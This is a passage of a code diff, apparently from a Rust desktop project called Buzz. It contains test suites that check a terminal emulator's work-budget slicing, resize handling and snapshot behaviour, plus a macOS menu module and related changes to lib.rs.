"at column 0 there is nothing to the left to scan, so the escape \
costs one unit and no cells",
);
assert_eq!(term.term().grid().cursor.point.column.0, 0);
}
}
/// The other adversary: every tabstop *set*, which maximises the number of
/// delegated single steps rather than the length of one scan.
///
/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the
/// clamp; all-set attacks the break, forcing `columns - 1` steps of one
/// column each. The two layouts peak in different terms and neither may
/// exceed the bound, so both are here -- a suite that tested only the famous
/// one would miss the shape it chose against.
#[test]
fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 100,
},
Fences::ALL,
);
// A tabstop in every column, then start from the right margin.
term.feed_fully(b"\x1b[3g");
for c in 1..=columns {
term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes());
}
term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1);
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"with a stop in every column the walk crosses each of them once, \
so the charge is exact: one unit for the escape plus one per \
column crossed. An inequality here would not catch a 2x \
overcharge -- which lands on 159, not 160, because the escape's \
own unit is charged separately and is not doubled",
);
assert_eq!(
term.term().grid().cursor.point.column.0,
0,
"with a stop in every column the cursor must walk all the way",
);
}
}
/// Stopping CBT early does not change where the cursor lands.
///
/// The companion to the two cost tests above: they assert the work fell,
/// this asserts the behaviour did not move. Kills: stopping at something that
/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails
/// even though an earlier step still had stops to find. Cases are the ones
/// the exhaustive probe found interesting: no stops, one stop mid-row, and
/// default stops, each from the right margin with a count past the width.
#[test]
fn stopping_the_worst_atom_early_preserves_its_semantics() {
let columns = 40usize;
let cursor_column = |setup: &str| -> usize {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 3,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(setup.as_bytes());
term.term().grid().cursor.point.column.0
};
// No stops: the cursor cannot move, whatever the count.
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39);
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39);
// One stop at column 20 (1-based 21): reachable once, then stuck.
let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H";
assert_eq!(
cursor_column(&format!("{one_stop}\u{1b}[65535Z")),
cursor_column(&format!("{one_stop}\u{1b}[40Z")),
);
// Default stops every 8: a large count walks all the way to column 0.
assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0);
}
/// A stream of atoms each worth more than the whole budget still drains, and
/// every drain makes progress.
///
/// The liveness half of the bound. `max_drain_work` says how much one drain
/// may cost; it says nothing about whether the loop terminates, and an
/// oversized atom is exactly where a work-denominated scheduler could refuse
/// to start one -- spending its budget checking, never advancing, and hanging
/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the
/// budget, so this is not hypothetical.
///
/// Kills: any yield that can decline to start work -- a `width` that reaches
/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that
/// skips a slice deemed too expensive for what is left of the budget. Each of
/// those is a plausible thing to reach for when an atom costs more than the
/// whole budget, and each hangs a terminal on legitimate input.
///
/// Note on a mutant it does *not* kill: moving the budget check from after
/// the slice to before it is **equivalent**, not a defect -- `spent` is zero
/// at entry, so the first slice runs either way. Recorded because I wrote
/// this test believing it caught that, ran the mutant, and it lived.
#[test]
fn atoms_larger_than_the_budget_still_make_progress() {
for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
let atoms = 200usize;
let bound = max_drain_work(columns, lines, scrollback);
assert!(
bound > WORK_BUDGET * 4,
"this arm is only meaningful where one atom dwarfs the budget",
);
let mut more = term.feed(&b"\x1bc".repeat(atoms));
// `feed` already drained once; seed the baseline with its work or the
// first delta measured below silently doubles.
let mut previous = term.stats().completed_work;
let mut worst = previous;
let mut calls = 1;
while more {
let before = term.pending_bytes();
more = term.drain();
assert!(
term.pending_bytes() < before,
"no progress: the tail stuck at {before} bytes",
);
let now = term.stats().completed_work;
worst = worst.max(now - previous);
previous = now;
calls += 1;
assert!(calls < 10_000, "drain did not terminate");
}
assert_eq!(term.stats().completed_units, atoms as u64, "lost units");
assert_eq!(term.pending_bytes(), 0);
assert!(
worst <= bound,
"{columns}x{lines}: worst drain spent {worst}, over the stated \
bound {bound}",
);
}
}

View File

@@ -0,0 +1,399 @@
//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes.
//!
//! **This is half a suite.** The remaining work-bound cases live in
//! `slicing.rs`; the two files are one set of contracts split only for the
//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial`
//! covers 4 of 76 package tests and can report a confident pass while the
//! killing fixture sits in the sibling file. Sizing from the whole budget does
//! exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
/// A scrollback change reprices RIS *and* the slicing derived from it.
///
/// Kills: updating the feeder's columns and lines on resize but not its
/// scrollback -- and, separately, a repair that reprices the charge while
/// leaving slice width stale. Those are different failures and neither
/// observable sees the other: fix only the charge and the drain count stays
/// wrong; fix only the derivation and the charge stays wrong.
///
/// Two properties, because one is not enough:
///
/// * The exact RIS charge at the new depth. Direct, and it is what a
/// pricing-only repair passes.
/// * Equality with a terminal *constructed* at the new depth, across work
/// and drain count. A resized feeder that is genuinely repaired is
/// indistinguishable from one that was born there. This is stronger than a
/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving,
/// since both arms move together -- and the sanity arm proves the
/// comparison is deterministic before it is used to judge anything.
///
/// `completed_units` is deliberately *not* the discriminator here: it reads
/// 200 in both arms, because the same callbacks run either way and only their
/// cost and slicing differ. It is asserted anyway as the invariant that must
/// hold -- no unit lost or duplicated across a resize -- while carrying none
/// of the discrimination.
#[test]
fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() {
let shallow = Size {
columns: 200,
screen_lines: 50,
scrollback: 100,
};
let deep = Size {
scrollback: 10_000,
..shallow
};
let cells = (deep.columns * deep.screen_lines) as u64;
// Preconditions, asserted rather than assumed, because both are easy to
// break by "generalising" this fixture later:
//
// * The geometry must let the *scheduling* fields separate. They only do
// when the two depths land on different slice widths, and the deep side
// is always floored -- so the shallow side must not be. At 1600x50 the
// visible grid alone floors every depth from 0 upward, and three of the
// four observables below go silently inert.
// * The payload must be RIS. It is the only escape reaching the only
// weight carrying a scrollback term (`units::reset_state`); DECALN and
// every other atom are priced on cells or columns and are blind to
// depth, so a conforming repair would show work identical to the
// control and the assertions here would invert into false failures.
assert!(
slice_bytes_remaining(
shallow.columns,
shallow.screen_lines,
shallow.scrollback,
0,
0
) > 1,
"geometry cannot discriminate: the shallow arm is already floored",
);
assert_eq!(
slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0),
1,
);
// How a terminal at `size` retires 200 RIS: work, and how many
// acquisitions it took. Both are feeder behaviour, not helper output.
let run = |size: Size, resize_from: Option<Size>| {
let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL);
if resize_from.is_some() {
term.resize(size);
}
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"c".repeat(200));
while more {
more = term.drain();
drains += 1;
}
(
term.stats().completed_units,
term.stats().completed_work,
drains,
)
};
let control = run(deep, None);
let sanity = run(deep, None);
assert_eq!(
control, sanity,
"two terminals built the same way must agree before this comparison can judge anything",
);
let resized = run(deep, Some(shallow));
assert_eq!(resized.0, 200, "no unit may be lost or duplicated");
assert_eq!(
resized, control,
"a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took",
);
// The exact charge, stated rather than inferred from the equality: a
// repair that made both arms equally *wrong* would pass the comparison.
let (mut term, _a) = Terminal::new(shallow, Fences::ALL);
term.resize(deep);
term.reset_stats();
term.feed_fully(b"c");
assert_eq!(
term.stats().completed_work,
2 * cells + (deep.scrollback * deep.columns) as u64,
);
// Shrinking retains the debt, and the fixture proves retention rather
// than merely permitting it.
//
// `>= fresh` alone is the predicate three of us proposed and all three
// withdrew: a feeder that dropped the debt reads *exactly* equal to a
// fresh shallow one, so `>=` passes on the unrepaired state. Strictness
// on the pricing field is what rejects it. The scheduling fields are
// asserted directionally with per-field signs -- `first_units` inverts,
// because a narrower slice retires fewer atoms per un-preemptable drain,
// which is the fence working -- but none of them is the discriminator:
// they separate only when the two depths straddle the slice floor, and
// `completed_work` separates at every positive depth gap.
//
// Every comparison is against the fresh control's own field, never a
// literal: a constant or geometry change must move both sides together,
// or the fixture starts asserting the arithmetic of the day it was
// written.
let measure = |term: &mut Terminal| {
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"\x1bc".repeat(200));
let first_units = term.stats().completed_units;
let first_pending = term.pending_bytes();
while more {
more = term.drain();
drains += 1;
}
(
first_units,
first_pending,
drains,
term.stats().completed_units,
term.stats().completed_work,
)
};
// The terminal under test stays alive past its measurement, so the
// geometry arm below runs on the feeder that actually shrank rather than
// on a lookalike that only ever grew.
let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL);
shrunk_term.resize(deep);
shrunk_term.resize(shallow);
let shrunk = measure(&mut shrunk_term);
let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL);
let fresh = measure(&mut fresh_term);
assert_eq!(
shrunk.3, fresh.3,
"no unit may be lost on the way down either"
);
assert!(
shrunk.4 > fresh.4,
"a feeder that has been deep must still price deep after shrinking: \
{} against a fresh shallow {}. Equality here is the signature of a \
feeder that dropped the debt, which is indistinguishable from one \
that never had it",
shrunk.4,
fresh.4,
);
assert!(
shrunk.0 <= fresh.0,
"narrower slices retire fewer atoms per drain: {} against {}",
shrunk.0,
fresh.0,
);
assert!(
shrunk.1 >= fresh.1,
"and leave more pending after the first call: {} against {}",
shrunk.1,
fresh.1,
);
assert!(
shrunk.2 >= fresh.2,
"and take more drains to finish: {} against {}",
shrunk.2,
fresh.2,
);
// The debt survives a later resize on a different axis. Two things make
// this arm bite, and it was inert without either:
//
// * It runs on the terminal that actually went shallow -> deep ->
// shallow. A lookalike that only ever grew passes it while an
// implementation that retains on shrink and drops on the next geometry
// change fails.
// * The resize carries the *shallow* depth. Passing the debt's own value
// back in means `max(debt, new)` and a plain assignment agree, so the
// arm cannot tell them apart -- which is how it survived a mutant that
// retained only when columns and lines were unchanged.
shrunk_term.resize(Size {
columns: shallow.columns * 2,
screen_lines: shallow.screen_lines,
scrollback: shallow.scrollback,
});
shrunk_term.reset_stats();
shrunk_term.feed_fully(b"\x1bc");
assert_eq!(
shrunk_term.stats().completed_work,
2 * (shallow.columns * 2 * shallow.screen_lines) as u64
+ (deep.scrollback * shallow.columns * 2) as u64,
"a columns resize must keep the deep scrollback debt, not fall back \
to the current shallow depth",
);
}
/// One oversized atom per drain -- no callback runs after the one that
/// crosses the budget.
///
/// Kills: sizing slices from the *whole* budget rather than what remains of
/// it. RIS at any real scrollback depth is worth more than an entire budget,
/// so a slice wide enough for several callbacks runs several: measured
/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law
/// permits exactly one. The fix makes slice width a function of `remaining`,
/// which is a single byte once an atom this size is in play.
///
/// Also asserts the tail survives it: yielding after the crossing atom is
/// only correct if what follows is still parsed, exactly once.
#[test]
fn an_oversized_atom_yields_before_the_next_callback() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let (mut term, _a) = Terminal::new(size, Fences::ALL);
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
assert!(
ris_work > WORK_BUDGET,
"this arm needs an atom bigger than the whole budget",
);
let more = term.feed(b"\x1bcXmore");
assert!(more, "the drain must yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"exactly the crossing atom ran: a callback after it is post-atom \
overrun, which is the thing the budget cannot preempt and therefore \
must not start",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(
term.stats().completed_units,
1 + 5,
"the five characters after it must still be parsed, exactly once",
);
assert_eq!(term.pending_bytes(), 0);
}
/// Extreme dimensions saturate rather than wrapping or panicking.
///
/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped
/// and reaches the weight path from a caller, so this product is a reachable
/// overflow -- a debug panic inside the accounting path, or a release wrap
/// that reports the most expensive callback in the emulator as one of the
/// cheapest. Saturating is the only one of the three that fails safe.
#[test]
fn extreme_dimensions_saturate_instead_of_wrapping() {
let huge = usize::MAX / 2;
assert_eq!(max_atom_work(huge, huge, huge), u64::MAX);
assert_eq!(max_drain_work(huge, huge, huge), u64::MAX);
// The *direction* is the assertion, not merely the absence of a panic.
// A wrapping build does not produce a slightly-wrong bound, it produces a
// tiny one -- and `slice_bytes_remaining` divides the budget by it, so an
// undercharged atom yields an *oversized* slice exactly when the atom is
// most expensive. Wrapping inverts the fence. So: the widest possible
// atom must give the narrowest possible slice.
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"an overflowing grid must clamp to the smallest slice; a wrapped \
`max_atom_work` would hand back a generous one",
);
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"and the escape at the front of such a grid gets a single byte",
);
// The property behind those endpoints, and the stronger statement: a
// grid that costs more may never buy a wider slice. Endpoints pin the
// ends; only a sweep catches a non-monotone middle, and a wrap *is* a
// non-monotone middle -- it makes the worst grid look cheap and hands it
// the widest slice of all.
// Every axis independently: a wrap on any one of the three products is a
// non-monotone middle on that axis alone, and sweeping only scrollback
// would miss a truncating `columns * lines`.
for (axis, at) in [
(
"scrollback",
(|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize,
),
("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)),
("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)),
] {
let mut previous = usize::MAX;
for exponent in 0..60 {
let width = at(1usize << exponent);
assert!(
width <= previous,
"slice widened from {previous} to {width} at {axis} \
2^{exponent}: more expensive grid, more generous slice",
);
assert!(width >= 1);
previous = width;
}
}
// Just past 32 bits on one axis: large enough that a narrowing cast
// shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at
// nothing), small enough that the honest answer is exact rather than
// saturated. Neither the extreme endpoints above nor the ordinary grids
// below can see this -- the endpoints saturate either way and the
// ordinary ones fit in 32 bits.
assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32));
// Ordinary grids are untouched by the saturation: exact, not clamped.
assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24);
assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80);
}
/// An escape split across slices keeps its escape metering.
///
/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead.
/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks
/// like ordinary text and is in fact a full grid reset. Meter it as text and
/// the oversized atom rides into a wide slice with whatever follows, which is
/// the post-atom overrun arriving through a different door. Found by the
/// oversized-atom fixture failing after I "optimised" the plain path, which
/// is the argument for keeping both.
#[test]
fn an_escape_split_across_slices_keeps_its_metering() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
// Deliver the escape one byte at a time, so the parser is left mid-
// sequence with a tail that begins on the continuation byte.
let (mut term, _a) = Terminal::new(size, Fences::ALL);
term.feed(b"\x1b");
assert_eq!(
term.stats().completed_units,
0,
"ESC alone dispatches nothing"
);
let more = term.feed(b"cXmore");
assert!(more, "the completed RIS must still yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"the continuation byte completed a grid reset; nothing may run after it",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(term.stats().completed_units, 1 + 5);
assert_eq!(term.pending_bytes(), 0);
}

View File

@@ -0,0 +1,287 @@
//! The attach contract: what a subscriber that arrives mid-stream is given,
//! and what taking it must not cost the subscriber already there.
//!
//! `render()` reports damage -- what changed since someone last looked. That
//! is the right thing for a steady-state renderer and the wrong thing for a
//! newcomer, who needs the screen as it stands. `snapshot()` supplies that,
//! and the delicate part is that it must do so *without* consuming damage:
//! two subscribers share one terminal, and damage is a single shared cursor.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// Collect the non-blank text of a frame's rows, for comparing what a
/// subscriber can actually see.
fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec<String> {
frame
.rows
.iter()
.map(|row| {
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string()
})
.filter(|line| !line.is_empty())
.collect()
}
/// The reason `snapshot` exists. A subscriber that attaches mid-stream and
/// starts from `render()` is handed only what changes next -- with a quiet
/// terminal that is the cursor's line alone, so the scrollback-visible screen
/// never arrives.
#[test]
fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"first\r\nsecond\r\nthird");
// The incumbent consumes the damage from that output.
let mut incumbent = Encoder::new();
let seen = visible_text(&shared.render(&mut incumbent));
assert_eq!(seen, vec!["first", "second", "third"]);
// A newcomer rendering now sees essentially nothing: damage is spent.
let mut latecomer = Encoder::new();
let by_render = visible_text(&shared.render(&mut latecomer));
assert!(
!by_render.contains(&"first".to_string()),
"a late render cannot show scrollback it never saw damaged, got {by_render:?}"
);
// The same newcomer snapshotting sees the whole viewport.
let mut attaching = Encoder::new();
let by_snapshot = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&by_snapshot),
vec!["first", "second", "third"],
"a snapshot must carry the visible viewport"
);
assert!(by_snapshot.full, "a snapshot is a repaint");
}
/// **The law: `snapshot()` must not consume damage.**
///
/// Two subscribers share one terminal and damage is one shared cursor, so a
/// snapshot taken for an attaching subscriber must leave the incumbent's
/// pending rows intact. A naive implementation that calls `damage()` passes a
/// full-frame test while freezing every other subscriber -- the newcomer looks
/// perfect and the incumbent silently stops updating.
///
/// The interleaving is the point: write, snapshot, *then* let the incumbent
/// render. But the interleaving alone is not enough to discriminate, and the
/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor
/// line on every call. So an incumbent owed only the line it is sitting on
/// gets that line back even when its damage was stolen, and a naive snapshot
/// passes.
///
/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0
/// is rewritten and the cursor is parked on row 3, so a theft leaves the
/// incumbent holding a blank cursor line and nothing else.
#[test]
fn a_snapshot_does_not_steal_the_incumbents_damage() {
let (shared, _actions) = terminal(20, 4);
// An established renderer, caught up to a quiet terminal. The initial
// content is shorter than its replacement so the rewrite below covers it
// completely and no tail of it survives.
let mut incumbent = Encoder::new();
shared.feed_fully(b"old");
let _ = shared.render(&mut incumbent);
// Rewrite row 0, then park the cursor on row 3. The incumbent is now owed
// row 0, which is not the row the cursor will re-damage for free.
shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H");
// A second subscriber attaches and snapshots first.
let mut attaching = Encoder::new();
let attached = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&attached),
vec!["AFTER"],
"the newcomer sees the whole screen"
);
// The incumbent must still be delivered row 0.
let follow_up = shared.render(&mut incumbent);
assert!(
follow_up.rows.iter().any(|row| row.line == 0),
"snapshot consumed the incumbent's damage: row 0 was never delivered, \
got rows {:?}",
follow_up.rows.iter().map(|r| r.line).collect::<Vec<_>>()
);
assert!(
visible_text(&follow_up).contains(&"AFTER".to_string()),
"the incumbent must still see the row written before the snapshot, got {:?}",
visible_text(&follow_up)
);
}
/// A snapshot stamps the geometry it was captured under and resets the
/// consumer's dedup state, so an encoder reused across a resize cannot carry
/// hashes describing rows of a different width.
#[test]
fn a_snapshot_realigns_a_reused_encoders_dedup_state() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"wide enough line");
let mut encoder = Encoder::new();
let before = shared.snapshot(&mut encoder);
assert_eq!(before.viewport.columns, 20);
let first_generation = before.viewport.generation;
let resized = shared.resize(Size {
columns: 10,
screen_lines: 4,
scrollback: 100,
});
assert_eq!(resized.columns, 10);
assert!(
resized.generation > first_generation,
"an applied resize advances the generation"
);
// Same encoder, new geometry: every row must be re-sent, not suppressed
// as unchanged against hashes taken at the old width.
let after = shared.snapshot(&mut encoder);
assert_eq!(
after.viewport.columns, 10,
"the capture-time grid is stamped"
);
// Columns alone does not identify a grid. `Viewport`'s own doc says the
// three fields travel together *because* a consumer comparing two of the
// three can be wrong -- and this fixture used to compare one. A resize
// that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns
// matching while the generation has moved. `resize.rs` asserts this on
// `render()` frames five times and never once on a snapshot, which is
// what Sami's T3 mutant walked through; Mari's reattach reads this stamp.
assert_eq!(
after.viewport, resized,
"a snapshot stamps the identity of the grid it actually captured"
);
assert!(after.full, "a snapshot is a repaint");
assert!(
!after.rows.is_empty(),
"stale hashes must not suppress rows after a resize"
);
}
/// A snapshot carries *every* row of the viewport, including the last one,
/// and stamps the cursor plane truthfully.
///
/// Both properties are asserted here rather than in the fixtures above
/// because of what those fixtures' helper hides: `visible_text` trims and
/// drops empty lines, so a capture that skipped the bottom row of the screen
/// reads identically to one that didn't whenever the content sits in the top
/// rows -- which it does in every other fixture in this file. Sami's T2
/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason.
/// So this fixture puts content on the last row and asserts the row *set*,
/// not the text.
///
/// The cursor half is the same shape of gap: nothing checked that a snapshot's
/// cursor was the terminal's cursor rather than a plausible default.
#[test]
fn a_snapshot_carries_every_row_and_the_true_cursor() {
let (shared, _actions) = terminal(20, 4);
// Write the bottom row of the screen, then park the cursor at line 4,
// column 6 (1-based) -- row 3, column 5 to us.
shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H");
let mut attaching = Encoder::new();
let frame = shared.snapshot(&mut attaching);
let lines: Vec<usize> = frame.rows.iter().map(|row| row.line).collect();
assert_eq!(
lines,
vec![0, 1, 2, 3],
"a snapshot must carry the whole viewport, last row included"
);
assert!(
visible_text(&frame).contains(&"bottom".to_string()),
"content on the last row must reach an attaching subscriber, got {:?}",
visible_text(&frame)
);
assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real");
assert_eq!(
frame.cursor.column, 5,
"the snapshot's cursor column is real"
);
assert!(frame.cursor.visible, "the cursor is shown by default");
// ...and a hidden cursor is reported hidden, so `visible` tracks the mode
// rather than being a constant that happens to match the default.
shared.feed_fully(b"\x1b[?25l");
let mut second = Encoder::new();
assert!(
!shared.snapshot(&mut second).cursor.visible,
"DECTCEM off must reach the attaching subscriber"
);
}
/// Taking a snapshot is billed to the renderer plane.
///
/// The two planes are metered separately because pooling them lets the
/// reader's millions of fast acquires dilute the renderer's tail into a false
/// pass (`shared.rs` module docs). A full-grid copy is the single most
/// expensive thing that takes this lock, so misfiling it under the reader
/// would corrupt the very instrument the renderer's budget is judged by --
/// and no fixture noticed until Sami's T4.
#[test]
fn a_snapshot_is_billed_to_the_renderer_plane() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"content");
shared.reader_acquire().reset();
shared.renderer_acquire().reset();
let mut attaching = Encoder::new();
let _ = shared.snapshot(&mut attaching);
assert_eq!(
shared.renderer_acquire().snapshot().acquisitions,
1,
"the snapshot's lock acquisition belongs to the renderer plane"
);
assert_eq!(
shared.reader_acquire().snapshot().acquisitions,
0,
"a full-grid copy must not be charged to the reader plane"
);
}
/// Two consecutive snapshots with no output between them still both carry the
/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and
/// nothing about the first may disarm the second.
#[test]
fn snapshots_are_repeatable() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"persistent");
let mut first = Encoder::new();
let mut second = Encoder::new();
assert_eq!(
visible_text(&shared.snapshot(&mut first)),
vec!["persistent"]
);
assert_eq!(
visible_text(&shared.snapshot(&mut second)),
vec!["persistent"],
"a second subscriber attaching later must see the same screen"
);
}

View File

@@ -0,0 +1,115 @@
//! The macOS application menu.
//!
//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()`
//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a
//! `close_window` item in both the File and Window submenus, and muda gives
//! that item a Cmd+W key equivalent bound to `performClose:`.
//!
//! Two consequences, both wrong for Buzz:
//!
//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned
//! into hide-to-tray, so Cmd+W never closed a window -- it hid the whole
//! app. That is already redundant with Cmd+H (Hide), which stays.
//! 2. macOS resolves a menu key equivalent before the webview receives any key
//! event, so Buzz Term could never bind Cmd+W to "close this terminal tab"
//! while the accelerator was claimed here.
//!
//! So this module builds the standard menu minus both `close_window` items.
//! Everything else matches `Menu::default()` deliberately: the goal is to drop
//! one item, not to design a menu.
//!
//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to
//! restore the item and disable it while the terminal owns input (a disabled
//! item does not consume its key equivalent) -- at the cost of an owner->Rust
//! IPC hop this approach does not need.
#[cfg(target_os = "macos")]
use tauri::menu::{
AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID,
};
#[cfg(target_os = "macos")]
use tauri::AppHandle;
use tauri::{Builder, Runtime};
/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise
/// auto-install. A no-op off macOS, where that default is never created and
/// the Cmd+W accelerator does not exist.
pub fn install<R: Runtime>(builder: Builder<R>) -> Builder<R> {
#[cfg(target_os = "macos")]
let builder = builder.menu(build);
builder
}
/// Mirrors `Menu::default()` with every `close_window` item omitted.
///
/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu`
/// looks them up by id to call `set_as_windows_menu_for_nsapp` and
/// `set_as_help_menu_for_nsapp`, and a plain `with_items` submenu would skip
/// both silently -- no error, just a Window menu AppKit no longer manages.
#[cfg(target_os = "macos")]
pub fn build<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<Menu<R>> {
let pkg_info = app.package_info();
let config = app.config();
let about_metadata = AboutMetadata {
name: Some(pkg_info.name.clone()),
version: Some(pkg_info.version.to_string()),
copyright: config.bundle.copyright.clone(),
authors: config.bundle.publisher.clone().map(|p| vec![p]),
..Default::default()
};
Menu::with_items(
app,
&[
&Submenu::with_items(
app,
pkg_info.name.clone(),
true,
&[
&PredefinedMenuItem::about(app, None, Some(about_metadata))?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::services(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::hide(app, None)?,
&PredefinedMenuItem::hide_others(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::quit(app, None)?,
],
)?,
// `Menu::default()`'s File submenu holds exactly one item on macOS
// -- close_window -- so dropping that item drops the submenu too.
&Submenu::with_items(
app,
"Edit",
true,
&[
&PredefinedMenuItem::undo(app, None)?,
&PredefinedMenuItem::redo(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::cut(app, None)?,
&PredefinedMenuItem::copy(app, None)?,
&PredefinedMenuItem::paste(app, None)?,
&PredefinedMenuItem::select_all(app, None)?,
],
)?,
&Submenu::with_items(
app,
"View",
true,
&[&PredefinedMenuItem::fullscreen(app, None)?],
)?,
&Submenu::with_id_and_items(
app,
WINDOW_SUBMENU_ID,
"Window",
true,
&[
&PredefinedMenuItem::minimize(app, None)?,
&PredefinedMenuItem::maximize(app, None)?,
],
)?,
// Empty upstream too on macOS: About lives in the app submenu.
&Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?,
],
)
}

View File

@@ -1,4 +1,5 @@
#![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth.
mod app_menu;
mod app_state;
mod archive;
mod builderlab;
@@ -33,6 +34,9 @@ mod reset;
mod secret_store;
mod shutdown;
mod templates;
mod terminal_runtime;
#[cfg_attr(not(test), allow(dead_code))]
mod terminal_transport;
#[cfg(target_os = "macos")]
mod tray_menu;
mod util;
@@ -105,7 +109,6 @@ pub fn run() {
eprintln!("buzz-mesh: failed to build big-stack tokio runtime, using default: {error}");
}
}
let builder = tauri::Builder::default()
.plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| {
// Focus the existing window when a duplicate instance launches.
@@ -287,10 +290,7 @@ pub fn run() {
builder.plugin(tauri_plugin_updater::Builder::new().build())
};
#[cfg(not(buzz_updater_enabled))]
let builder = builder;
let app = builder
let app = app_menu::install(builder)
.register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| {
let app = ctx.app_handle().clone();
tauri::async_runtime::spawn(async move {
@@ -304,6 +304,7 @@ pub fn run() {
.manage(BuilderlabSession::default())
.manage(BuilderlabLogin::default())
.manage(commands::pairing::PairingHandle::new())
